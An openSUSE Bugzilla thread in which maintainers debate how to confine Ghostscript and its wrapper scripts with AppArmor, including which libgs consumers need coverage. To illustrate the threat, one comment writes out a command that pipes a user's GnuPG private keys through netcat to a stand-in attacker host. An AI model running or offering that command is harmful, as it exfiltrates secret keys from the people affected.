Bugzilla – Bug 1134327
Enhance Ghostscript apparmor profile for ps2epsi
Last modified: 2019-10-02 10:06:42 UTC
See https://build.opensuse.org/request/show/701304 Basically this are the intended changes: +++ ghostscript.changes @@ -1,0 +2,5 @@ +Tue May 7 11:57:21 UTC 2019 - Dirk Stoecker <opensuse@dstoecker.de> + +- Fix apparmor profile for ps2epsi + +------------------------------------------------------------------- other changes: -------------- ++++++ apparmor_ghostscript --- apparmor_ghostscript +++ apparmor_ghostscript @@ -45,4 +45,13 @@ #include <abstractions/base> /usr/bin/dirname mr, } + + # ps2epsi + /usr/bin/gawk mrix, + /usr/bin/cat mrix, + /usr/bin/ls mrix, + /usr/bin/mktemp mrix, + /usr/bin/rm mrix, + /usr/bin/sed mrix, + /usr/bin/which mrix, }
I declined that request with ----------------------------------------------------------------------- $ osc request decline 701304 --message="Thank you for your valuable contribution. Nevertheless I cannot just accept it because it lowers securits settings so I declined it and I created the openSUSE bug report boo#1134327 where our security team who made the AppArmor profile for Ghostscript can decide if we accept it." ----------------------------------------------------------------------- Johannes Segitz can you have a look here?
Could openSUSE security team please in future not issue obviously wrong AppArmor profiles? This issue is immediate when calling the tool a single time. This profile can never have been tested with at least the minimum test calling each tool it affects once. I'm pretty sure my fix only fixes this one tool. There are many more scripts which very likely call other programs and which will fail as well. It took me several hours to find out what the issue with my software build was and how it could be solved!
(In reply to Dirk Stoecker from comment #2) Sorry for you trouble. I'll switch the profile to complain for now so that we can improve it to prevent regressions. I'll incorporate your changes
(In reply to Johannes Meixner from comment #0) > + # ps2epsi > + /usr/bin/gawk mrix, > + /usr/bin/cat mrix, > + /usr/bin/ls mrix, > + /usr/bin/mktemp mrix, > + /usr/bin/rm mrix, > + /usr/bin/sed mrix, > + /usr/bin/which mrix, Just wondering - do all these helpers need the permission set of the main profile, or if you could put them into child profiles (using "Cx") that are much more restrictive. To give some examples: - gawk and sed possibly work on stdin/stdout, which means no need for file access - ls in worst case needs / r, /**/ r, to get directory listings (and maybe it can even be restricted to specific directories) - same for which, and you can even limit it to the directories in $PATH - mktemp probably only needs owner /tmp/$prefix* w, - maybe rm only needs to delete the mktemp-created tempfiles, which also means it can be restricted to specific paths? If in doubt, the easiest way to answer all these questions is to revert your additons and to switch the profile to complain mode. Then run ps2epsi and use aa-logprof to update the profile (using "(C)hild" exec mode).
Right now I accepted OBS submitrequest https://build.opensuse.org/request/show/701733 and directly forwarded it to openSUSE:Factory: ------------------------------------------------------------------------- $ osc request accept 701733 --message="reviewed ok." Result of change request state: ok openSUSE:Factory Forward this submit to it? ([y]/n)y - Set AA profile to complain and added fixes for ps2epsi (boo#1134327) (forwarded request 701733 from jsegitz) New request # 701738 -------------------------------------------------------------------------
Johannes Segitz thank you for the prompt fix. Christian Boltz and Johannes Segitz thank you both for caring about the AppArmor profile for Ghostscript.
This is an autogenerated message for OBS integration: This bug (1134327) was mentioned in https://build.opensuse.org/request/show/701738 Factory / ghostscript
Christian Boltz and Johannes Segitz, I have a general question here, cf. https://bugzilla.suse.com/show_bug.cgi?id=1127934#c1 In the current apparmor_ghostscript source file https://build.opensuse.org/package/view_file/Printing/ghostscript/apparmor_ghostscript?expand=1 the line --------------------------------------------------------------------------- profile ghostscript /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} flags=(complain) --------------------------------------------------------------------------- prevents execution of executables for all those files --------------------------------------------------------------------------- # for f in /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} ; do file $f ; done /usr/bin/dvipdf: POSIX shell script, ASCII text executable /usr/bin/eps2eps: POSIX shell script, ASCII text executable /usr/bin/gs: ELF 64-bit LSB executable, ... /usr/bin/gsbj: POSIX shell script, ASCII text executable /usr/bin/gsdj: POSIX shell script, ASCII text executable /usr/bin/gsdj500: POSIX shell script, ASCII text executable /usr/bin/gslj: POSIX shell script, ASCII text executable /usr/bin/gslp: POSIX shell script, ASCII text executable /usr/bin/gsnd: POSIX shell script, ASCII text executable /usr/bin/ps2ascii: POSIX shell script, ASCII text executable /usr/bin/ps2epsi: POSIX shell script, ASCII text executable /usr/bin/ps2pdf: POSIX shell script, ASCII text executable /usr/bin/ps2pdf12: POSIX shell script, ASCII text executable /usr/bin/ps2pdf13: POSIX shell script, ASCII text executable /usr/bin/ps2pdf14: POSIX shell script, ASCII text executable /usr/bin/ps2pdfwr: POSIX shell script, ASCII text executable /usr/bin/ps2ps: POSIX shell script, ASCII text executable /usr/bin/ps2ps2: POSIX shell script, ASCII text executable --------------------------------------------------------------------------- But - as far as I understand it - the Ghostscript security issues are about the actual Ghostscript program (i.e. /usr/bin/gs) and not about the various helper scripts that are also provided by Ghostscript. Basically I wonder if the current AppArmor profile for Ghostscript is - on the one hand over the top because it prevents execution of executables for all those files above - on the other hand useless in practive because flags=(complain) does not prevent execution of arbitrary executables for the main security problem which is /usr/bin/gs Wouldn't it make more sense in practice to actually improve security for Ghostscript but do that step by step like - as initial step provide an AppArmor profile that actually prevents execution of arbitrary executables but only for /usr/bin/gs - as subsequent steps enhance that AppArmor profile as needed (and only where really needed) to also prevent execution of arbitrary executables for the various helper scripts that are also provided by Ghostscript But I know nothing about how AppArmor works so my above proposal could be just nonsense.
(In reply to Johannes Meixner from comment #8) All those programs process ghostscript in one form or other (meaning using functionality from the library). If that's not correct we can remove them, but it's not only the gs binary that's problematic. It's only the obvious entry point. > - on the other hand useless in practive because flags=(complain) > does not prevent execution of arbitrary executables for the > main security problem which is /usr/bin/gs yes, that is unfortunate and I don't want to keep it this way. We could split it up like you propose, but I think we're not too far away from a profile that should cause problems for users (at least that's my hope)
(In reply to Johannes Segitz from comment #9) > (In reply to Johannes Meixner from comment #8) > All those programs process ghostscript in one form or other (meaning using > functionality from the library). If that's not correct we can remove them, > but it's not only the gs binary that's problematic. It's only the obvious > entry point. Agreed, both ghostscript and the "wrapper scripts" should be restricted. However, it might be a good idea to have a separate profile for a) ghostscript and b) all the wrapper scripts because that would allow both to be more restrictive without breaking something. I had a quick look at the wrapper scripts - they are all quite short, so it's probably possible to write a profile for them by just reading them (doing a test run of course can't hurt). Additionally, it seems reading and writing files is only done by ghostscript itsself, so giving the wrapper scripts directory read access ("/ r, /**/ r,") might be enough (untested!) Johannes (Meixner), will you come to the openSUSE Conference? If yes, we can/should meet and work on the profile. With combined ghostscript and AppArmor knownledge, doing the split should be easy ;-) > yes, that is unfortunate and I don't want to keep it this way. We could > split it up like you propose, but I think we're not too far away from a > profile that should cause problems for users (at least that's my hope) The bugreports say we already have that *SCNR* - maybe you should s/should/shouldn't/ ;-)
(In reply to Christian Boltz from comment #10) A Freudscher Versprecher :) I'll be at openSUSEcon on Friday, maybe we three could sit together for an hour and work on that.
(In reply to Johannes Segitz from comment #11) > (In reply to Christian Boltz from comment #10) > A Freudscher Versprecher :) ;-) > I'll be at openSUSEcon on Friday, maybe we three could sit together for an > hour and work on that. Yes, that sounds like a good idea :-) Note: I'll have to leave for a while in Friday evening, so let's pick something earlier that day. Or we could meet in the early wednesday or thursday morning @SUSE before the board meeting starts.) Little addition to comment #10: ps2epsi is a bit special because it uses mktemp to create a tempfile, and therefore of course needs write permissions for "owner /tmp/ps2epsi* rw," See also bug 1134722 - creating tempfiles isn't as easy as it looks ;-)
Johannes Segitz, as far as I see all those shell scripts are basically wrappers to call /usr/bin/gs (directly or indirectly) for specific use-cases. As far as I see none of those shell scripts use functionality from the Ghostscript library libgs.so.9 in any other way than by calling /usr/bin/gs. Perhaps I overlooked some obfuscated case but I think at least those shell scripts that are wrappers to only call /usr/bin/gs do not need an AppArmor profile that prevents execution of all executables, in particular I think preventing execution of basic Linux/Unix tools like awk cat ls mktemp rm sed and so on ... should be usually not needed for shell scripts. In contrast the actual Ghostscript program /usr/bin/gs must not be allowed to execute such basic Linux/Unix tools to prevent that a PostScript program can execute things like cat /home/user/.gnupg/private-keys | netcat server.attacker.net 12345 when an innocent user only liked to view the graphical output of that malicious PostScript program or save that as another data format.
Christian Boltz, I will not attend the openSUSE Conference. In general I wonder why the Ghostscript "wrapper scripts" should be restricted. What would be the possible attack here? All the Ghostscript "wrapper scripts" are installed with -rwxr-xr-x 1 root root ... so only root can change them to let them execute unwanted stuff. But an AppArmor profile for them must allow each of them to execute what each of them already executes so what is the additional security of such an AppArmor profile? Again: I know basically nothing about AppArmor so I may overlook something that is obvious for those who know about AppArmor.
(In reply to Johannes Meixner from comment #14) > Christian Boltz, > I will not attend the openSUSE Conference. That's a pity. Would a meeting at early wednesday or thursday morning (the days before the openSUSE Conference) @SUSE work for you? > In general I wonder why the Ghostscript "wrapper scripts" > should be restricted. > > What would be the possible attack here? Bug 1134722 is one example I found. I agree that we should have a separate profile for the ghostscript binary, and that the ghostscript binary has a higher risk than the wrapper scripts. > Again: I know basically nothing about AppArmor That sounds like a bug ;-) - if you are interested, I can send you my "AppArmor crash course" slides and/or a link to the video recording to get you started.
In general it is insufficient to prevent execution of arbitrary executables only for /usr/bin/gs because actually it is /usr/lib64/libgs.so.9.* that contains the actual Ghostscript functionality. Accordingly all executables that can use /usr/lib64/libgs (e.g. executables that link directly with libgs or indirectly with libgs e.g. via libspectre) would have to be protected. I.e. the transitive closure of what can use /usr/lib64/libgs needs to be determined. E.g. an offhanded initial attemt on my openSUSE Leap 15.0 system: ----------------------------------------------------------------------------- # rpm -e --test ghostscript 2>&1 | grep libgs libgs.so.9()(64bit) is needed by ... graphviz-gnome-2.40.1-lp150.4.30.x86_64 libgs.so.9()(64bit) is needed by ... gimp-2.8.22-lp150.3.8.x86_64 libgs.so.9()(64bit) is needed by ... libspectre1-0.2.8-lp150.2.9.2.x86_64 # for f in $( rpm -ql graphviz-gnome ) ; \ do ldd $f 2>/dev/null | grep -q 'libgs\.so' && find $f -type f ; \ done /usr/lib64/graphviz/libgvplugin_gs.so.6.0.0 # for f in $( rpm -ql gimp ) ; \ do ldd $f 2>/dev/null | grep -q 'libgs\.so' && find $f -type f ; \ done /usr/lib64/gimp/2.0/plug-ins/file-ps # for f in $( rpm -ql libspectre1 ) ; \ do ldd $f 2>/dev/null | grep -q 'libgsrpm\.so' && find $f -type f ; \ done /usr/lib64/libspectre.so.1.1.8 ... ----------------------------------------------------------------------------- and then what executables need /usr/lib64/graphviz/libgvplugin_gs.so.6.0.0 or /usr/lib64/gimp/2.0/plug-ins/file-ps or /usr/lib64/libspectre.so.1.1.8 and so on ...
I fear it is in practice impossible to determine the transitive closure of what can use /usr/lib64/libgs because of this example: --------------------------------------------------------------------------- # rpm -e --test libspectre1 2>&1 | grep libspectre libspectre.so.1()(64bit) is needed by ... evince-plugin-psdocument-3.26.0+20180128.1bd86963-lp150.2.4.x86_64 # for f in $( rpm -ql evince-plugin-psdocument ) ; \ do ldd $f 2>/dev/null | grep -q 'libspectre\.so' && find $f -type f ; \ done /usr/lib64/evince/4/backends/libpsdocument.so # rpm -e --test evince-plugin-psdocument [no output] # rpm -qi evince-plugin-psdocument ... Summary : Evince - PS document support Description : Add PostScript document support to Evince ... # ldd /usr/bin/evince | egrep 'libpsdocument\.|libspectre\.|libgs\.' [no output] --------------------------------------------------------------------------- Accordingly it seems /usr/bin/evince is a possible user of libgs but there is no hardcoded dependency of evince on libpsdocument or libspectre or libgs so that it seems is in parctice impossible to determine that /usr/bin/evince is a possible user of libgs. I fear the whole AppArmor attempt is a dead end in parctice except AppArmor could be configured to confine what libgs itself is allowed to do and only libgs itself but not other stuff. E.g. /usr/bin/evince may need to call various other executables but only when evince is inside libgs (i.e. only while evince is actually using Ghostscript functionality) it is intended to prevent execution of arbitrary executables.
I wished I could edit typos in bugzilla comments: "in parctice" -> "in practice"
(In reply to Johannes Meixner from comment #17) > I fear the whole AppArmor attempt is a dead end in parctice > except AppArmor could be configured to confine what libgs itself > is allowed to do and only libgs itself but not other stuff. > > E.g. /usr/bin/evince may need to call various other executables > but only when evince is inside libgs (i.e. only while evince > is actually using Ghostscript functionality) it is intended > to prevent execution of arbitrary executables. You can switch to a specific AppArmor profile during runtime. To do this, libgs has to call aa_change_profile() (from libapparmor) to switch to a specific profile (this obviously needs a small libgs patch to do that call). If this sounds good to you, feel free to ask for details ;-) (Besides that, confining Evince, Okular and other PDF viewers probably isn't the worst idea.)
Offhandedly I see the issues: (A) I know basically nothing about Ghostscript internals but I think in general a library can be considered as a program with many "entry points" where each function that is provided by the library is such an "entry point". Accordingly to limit what inside a library can be done the limitation must happen at all its "entry points" i.e. for all its functions that can be called "from outside". (B) I know absolutely nothing about programming with libapparmor. I wonder how to switch back to the AppArmor profile before i.e. I think things should happen basically like this: 1. save current AppArmor profile 2. add Ghostscript restrictions to the current AppArmor profile 3. do the actual Ghostscript functionality 4. restore the saved AppArmor profile (C) When the Ghostscript library calls functions in libapparmor there would be a hard requirement of AppArmor by Ghostscript but some users do not like to have any AppArmor stuff, see bug #1134289
Remark: Using apparmor for the wrapper scripts calling /usr/bin/gs is simply useless. In other words: do not do this and be fine as well as secure. The binary /usr/bin/gs (or now /usr/bin/gs.bin wit haltest package) and its library libgs.so.<ghostscrpt_version> as well as all other binaries using this library have to be checked by apparmor.
(In reply to Dr. Werner Fink from comment #21) > Remark: Using apparmor for the wrapper scripts calling /usr/bin/gs is simply > useless. In other words: do not do this and be fine as well as secure. The > binary /usr/bin/gs (or now /usr/bin/gs.bin wit haltest package) and its > library libgs.so.<ghostscrpt_version> as well as all other binaries using > this library have to be checked by apparmor. To see this simply take the path from profile starting line and run file > file /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} /usr/bin/dvipdf: POSIX shell script, ASCII text executable /usr/bin/eps2eps: POSIX shell script, ASCII text executable /usr/bin/gs: symbolic link to /etc/alternatives/gs /usr/bin/gsbj: POSIX shell script, ASCII text executable /usr/bin/gsdj: POSIX shell script, ASCII text executable /usr/bin/gsdj500: POSIX shell script, ASCII text executable /usr/bin/gslj: POSIX shell script, ASCII text executable /usr/bin/gslp: POSIX shell script, ASCII text executable /usr/bin/gsnd: POSIX shell script, ASCII text executable /usr/bin/ps2ascii: POSIX shell script, ASCII text executable /usr/bin/ps2epsi: POSIX shell script, ASCII text executable /usr/bin/ps2pdf: POSIX shell script, ASCII text executable /usr/bin/ps2pdf12: POSIX shell script, ASCII text executable /usr/bin/ps2pdf13: POSIX shell script, ASCII text executable /usr/bin/ps2pdf14: POSIX shell script, ASCII text executable /usr/bin/ps2pdfwr: POSIX shell script, ASCII text executable /usr/bin/ps2ps: POSIX shell script, ASCII text executable /usr/bin/ps2ps2: POSIX shell script, ASCII text executable > rpm -q --whatrequires 'libgs.so.9()(64bit)' libspectre1-0.2.8-2.14.x86_64 graphviz-gnome-2.40.1+git20190410.b0871968d-2.3.x86_64 texlive-dvisvgm-bin-2019.20190407.svn50358-20120728.3.x86_64 gimp-2.10.12-1.1.x86_64 ghostscript-9.27-3.1.x86_64 > rpm -q --whatrequires 'libspectre.so.1()(64bit)' libgoffice-0_10-10-0.10.45-1.1.x86_64 xreader-backends-1.8.5-1.5.x86_64 atril-backends-1.22.1-1.3.x86_64 evince-plugin-psdocument-3.32.0-3.1.x86_64 > rpm -q --whatrequires 'libgoffice-0.10.so.10()(64bit)' libgoffice-0_10-10-0.10.45-1.1.x86_64 libabiword-3_0-3.0.2-4.6.x86_64 gnumeric-1.12.45-1.1.x86_64 > rpm -q --whatrequires 'libabiword-3.0.so()(64bit)' libabiword-3_0-3.0.2-4.6.x86_64 abiword-3.0.2-4.6.x86_64 and here apparmor does not catch the PostScript interpreter used by various programs.
(In reply to Dr. Werner Fink from comment #21) > Remark: Using apparmor for the wrapper scripts calling /usr/bin/gs is simply > useless. In other words: do not do this and be fine as well as secure. The > binary /usr/bin/gs (or now /usr/bin/gs.bin wit haltest package) and its > library libgs.so.<ghostscrpt_version> as well as all other binaries using > this library have to be checked by apparmor. Currently we have: profile ghostscript /usr/bin/{dvipdf,eps2eps,gs,gsbj,...} flags=(complain) { ... and hidden in that is ...,gs,... - so /usr/bin/gs will be confined by AppArmor. Well, actually you'll need to extend the profile to cover /usr/bin/gs.bin because AppArmor checks filenames after symlink resolution.
Seems to be solved by simply skipping tghe scripts but catching ghostscript its self